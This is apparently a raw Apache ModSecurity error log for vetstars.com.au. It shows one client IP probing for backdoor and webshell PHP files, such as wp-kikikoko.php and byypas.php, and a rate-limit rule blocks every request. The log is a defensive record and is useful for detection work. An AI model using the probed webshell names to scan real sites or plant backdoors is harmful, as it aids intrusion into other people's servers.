[Thu Apr 23 08:57:59.596455 2026] [:error] [pid 64998:tid 65003] [client 20.215.251.95:41885] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aelul4V5EysYcTLjmwhGaAAAAcE"]
[Thu Apr 23 08:58:01.334340 2026] [:error] [pid 43083:tid 43105] [client 20.215.251.95:53139] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aelumTC5hrvNXosL83L6EAAAANQ"]
[Thu Apr 23 08:58:03.153125 2026] [:error] [pid 64998:tid 65011] [client 20.215.251.95:53163] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aelum4V5EysYcTLjmwhGawAAAck"]
[Thu Apr 23 08:58:05.810383 2026] [:error] [pid 59700:tid 59722] [client 20.215.251.95:57086] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aelunZXyGZJFeAIDWtl9FwAAAVQ"]
[Thu Apr 23 08:58:08.393602 2026] [:error] [pid 42971:tid 42989] [client 20.215.251.95:41941] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeluoDEP2_5RswrH8bHHSQAAAAM"]
[Thu Apr 23 08:58:10.542631 2026] [:error] [pid 65000:tid 65041] [client 20.215.251.95:46886] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeluor6vRb9j6psK2ZbaowAAAgg"]
[Thu Apr 23 08:58:12.381950 2026] [:error] [pid 42972:tid 43031] [client 20.215.251.95:38127] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aelupMOAb-3sOknsk4cz9wAAAE8"]
[Thu Apr 23 08:58:13.395784 2026] [:error] [pid 42972:tid 43023] [client 20.215.251.95:46900] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aelupcOAb-3sOknsk4cz-wAAAEc"]
[Thu Apr 23 08:58:24.235285 2026] [:error] [pid 43083:tid 43091] [client 20.215.251.95:39217] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aelusDC5hrvNXosL83L6NQAAAMY"]
[Thu Apr 23 08:58:32.194089 2026] [:error] [pid 43083:tid 43103] [client 20.215.251.95:39002] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aeluuDC5hrvNXosL83L6SQAAANI"]
[Thu Apr 23 08:58:33.686991 2026] [:error] [pid 64998:tid 65019] [client 20.215.251.95:53445] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aeluuYV5EysYcTLjmwhGlwAAAdE"]
[Thu Apr 23 08:58:35.332004 2026] [:error] [pid 64998:tid 65013] [client 20.215.251.95:64101] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aeluu4V5EysYcTLjmwhGpQAAAcs"]
[Thu Apr 23 08:58:36.934339 2026] [:error] [pid 64998:tid 65007] [client 20.215.251.95:48573] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aeluvIV5EysYcTLjmwhGsgAAAcU"]
[Thu Apr 23 08:58:38.002400 2026] [:error] [pid 59700:tid 59721] [client 20.215.251.95:39247] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeluvpXyGZJFeAIDWtl9NgAAAVM"]
[Thu Apr 23 08:58:39.118290 2026] [:error] [pid 42971:tid 43010] [client 20.215.251.95:49014] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeluvzEP2_5RswrH8bHHXwAAABg"]
[Thu Apr 23 08:58:40.757353 2026] [:error] [pid 64998:tid 65015] [client 20.215.251.95:64096] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeluwIV5EysYcTLjmwhGvQAAAc0"]
[Thu Apr 23 08:58:42.837399 2026] [:error] [pid 59700:tid 59718] [client 20.215.251.95:48985] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeluwpXyGZJFeAIDWtl9PgAAAVA"]
[Thu Apr 23 08:58:46.029358 2026] [:error] [pid 42971:tid 42994] [client 20.215.251.95:64094] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeluxjEP2_5RswrH8bHHaQAAAAg"]
[Thu Apr 23 08:58:48.253363 2026] [:error] [pid 65000:tid 65050] [client 20.215.251.95:65305] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeluyL6vRb9j6psK2ZbawQAAAhE"]
[Thu Apr 23 08:58:49.471847 2026] [:error] [pid 65000:tid 65031] [client 20.215.251.95:63421] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeluyb6vRb9j6psK2ZbaxgAAAgI"]
[Thu Apr 23 08:58:51.885844 2026] [:error] [pid 42971:tid 42998] [client 20.215.251.95:58371] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aeluyzEP2_5RswrH8bHHcQAAAAw"]
[Thu Apr 23 08:58:57.314952 2026] [:error] [pid 64998:tid 65008] [client 20.215.251.95:48964] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aelu0YV5EysYcTLjmwhG1QAAAcY"]
[Thu Apr 23 08:59:00.605820 2026] [:error] [pid 42972:tid 43037] [client 20.215.251.95:50818] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aelu1MOAb-3sOknsk4c0GgAAAFU"]
[Thu Apr 23 08:59:05.879085 2026] [:error] [pid 42971:tid 43007] [client 20.215.251.95:63392] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aelu2TEP2_5RswrH8bHHfAAAABU"]
[Thu Apr 23 08:59:07.918560 2026] [:error] [pid 42971:tid 42995] [client 20.215.251.95:63394] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aelu2zEP2_5RswrH8bHHgQAAAAk"]
[Thu Apr 23 08:59:10.993063 2026] [:error] [pid 64967:tid 64993] [client 20.215.251.95:57926] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aelu3oAV4GfOOdX8QzojKAAAAZg"]
[Thu Apr 23 08:59:12.706426 2026] [:error] [pid 42971:tid 42993] [client 20.215.251.95:57933] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aelu4DEP2_5RswrH8bHHiQAAAAc"]
[Thu Apr 23 08:59:13.762011 2026] [:error] [pid 64998:tid 65026] [client 20.215.251.95:50416] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aelu4YV5EysYcTLjmwhG-wAAAdg"]
[Thu Apr 23 08:59:15.847846 2026] [:error] [pid 64998:tid 65019] [client 20.215.251.95:50419] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "aelu44V5EysYcTLjmwhHCQAAAdE"]
[Thu Apr 23 08:59:16.823128 2026] [:error] [pid 43083:tid 43102] [client 20.215.251.95:41481] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "aelu5DC5hrvNXosL83L6cgAAANE"]
[Thu Apr 23 08:59:17.686729 2026] [:error] [pid 43083:tid 43100] [client 20.215.251.95:48569] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "aelu5TC5hrvNXosL83L6dAAAAM8"]
[Thu Apr 23 08:59:18.679791 2026] [:error] [pid 64998:tid 65025] [client 20.215.251.95:58430] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "aelu5oV5EysYcTLjmwhHEgAAAdc"]
[Thu Apr 23 08:59:19.338708 2026] [:error] [pid 42971:tid 42989] [client 20.215.251.95:63385] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bmi.php"] [unique_id "aelu5zEP2_5RswrH8bHHkAAAAAM"]
[Thu Apr 23 08:59:20.629161 2026] [:error] [pid 42971:tid 43006] [client 20.215.251.95:48573] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bmi.php"] [unique_id "aelu6DEP2_5RswrH8bHHkQAAABQ"]
[Thu Apr 23 08:59:21.411566 2026] [:error] [pid 59700:tid 59711] [client 20.215.251.95:50396] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bmi.php"] [unique_id "aelu6ZXyGZJFeAIDWtl9cAAAAUk"]
[Thu Apr 23 08:59:23.041950 2026] [:error] [pid 42971:tid 42998] [client 20.215.251.95:50375] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bmi.php"] [unique_id "aelu6zEP2_5RswrH8bHHlgAAAAw"]
[Thu Apr 23 08:59:24.575692 2026] [:error] [pid 43083:tid 43091] [client 20.215.251.95:44160] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aelu7DC5hrvNXosL83L6ewAAAMY"]
[Thu Apr 23 08:59:26.449821 2026] [:error] [pid 42973:tid 43067] [client 20.215.251.95:51194] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "aelu7m6I0QqmmmLTHE3m5AAAAJg"]
[Thu Apr 23 08:59:45.672734 2026] [:error] [pid 59700:tid 59706] [client 20.215.251.95:54235] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aelvAZXyGZJFeAIDWtl9jAAAAUQ"]
[Thu Apr 23 08:59:46.926616 2026] [:error] [pid 65000:tid 65048] [client 20.215.251.95:49754] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aelvAr6vRb9j6psK2ZbbUAAAAg8"]
[Thu Apr 23 08:59:47.992258 2026] [:error] [pid 65000:tid 65031] [client 20.215.251.95:53927] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aelvA76vRb9j6psK2ZbbVAAAAgI"]
[Thu Apr 23 08:59:48.749028 2026] [:error] [pid 65000:tid 65055] [client 20.215.251.95:53907] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aelvBL6vRb9j6psK2ZbbVwAAAhY"]
[Thu Apr 23 08:59:49.778580 2026] [:error] [pid 65000:tid 65054] [client 20.215.251.95:40037] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-install.php"] [unique_id "aelvBb6vRb9j6psK2ZbbXAAAAhU"]
[Thu Apr 23 08:59:50.403531 2026] [:error] [pid 65000:tid 65052] [client 20.215.251.95:44284] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-install.php"] [unique_id "aelvBr6vRb9j6psK2ZbbXgAAAhM"]
[Thu Apr 23 08:59:51.242600 2026] [:error] [pid 65000:tid 65045] [client 20.215.251.95:53938] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-install.php"] [unique_id "aelvB76vRb9j6psK2ZbbYwAAAgw"]
[Thu Apr 23 08:59:51.953777 2026] [:error] [pid 65000:tid 65030] [client 20.215.251.95:37352] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-install.php"] [unique_id "aelvB76vRb9j6psK2ZbbZgAAAgE"]
[Thu Apr 23 08:59:52.882779 2026] [:error] [pid 65000:tid 65048] [client 20.215.251.95:5292] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aelvCL6vRb9j6psK2ZbbbAAAAg8"]
[Thu Apr 23 08:59:53.444132 2026] [:error] [pid 65000:tid 65044] [client 20.215.251.95:51579] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aelvCb6vRb9j6psK2ZbbcAAAAgs"]
[Thu Apr 23 08:59:54.210942 2026] [:error] [pid 65000:tid 65030] [client 20.215.251.95:37345] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aelvCr6vRb9j6psK2ZbbdgAAAgE"]
[Thu Apr 23 08:59:55.518641 2026] [:error] [pid 64998:tid 65004] [client 20.215.251.95:40011] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aelvC4V5EysYcTLjmwhH6AAAAcI"]
[Thu Apr 23 08:59:56.511505 2026] [:error] [pid 65000:tid 65057] [client 20.215.251.95:51548] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aelvDL6vRb9j6psK2ZbbgwAAAhg"]
[Thu Apr 23 08:59:57.559779 2026] [:error] [pid 43083:tid 43087] [client 20.215.251.95:54817] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aelvDTC5hrvNXosL83L6rQAAAMI"]
[Thu Apr 23 08:59:58.290312 2026] [:error] [pid 43083:tid 43094] [client 20.215.251.95:38785] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aelvDjC5hrvNXosL83L6rwAAAMk"]
[Thu Apr 23 08:59:59.656349 2026] [:error] [pid 65000:tid 65029] [client 20.215.251.95:50815] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aelvD76vRb9j6psK2ZbbjQAAAgA"]
[Thu Apr 23 09:00:01.682198 2026] [:error] [pid 42973:tid 43064] [client 20.215.251.95:41570] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aelvEW6I0QqmmmLTHE3m8AAAAJU"]
[Thu Apr 23 09:00:03.457473 2026] [:error] [pid 64998:tid 65007] [client 20.215.251.95:57643] [client 20.215.251.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aelvE4V5EysYcTLjmwhIDAAAAcU"]
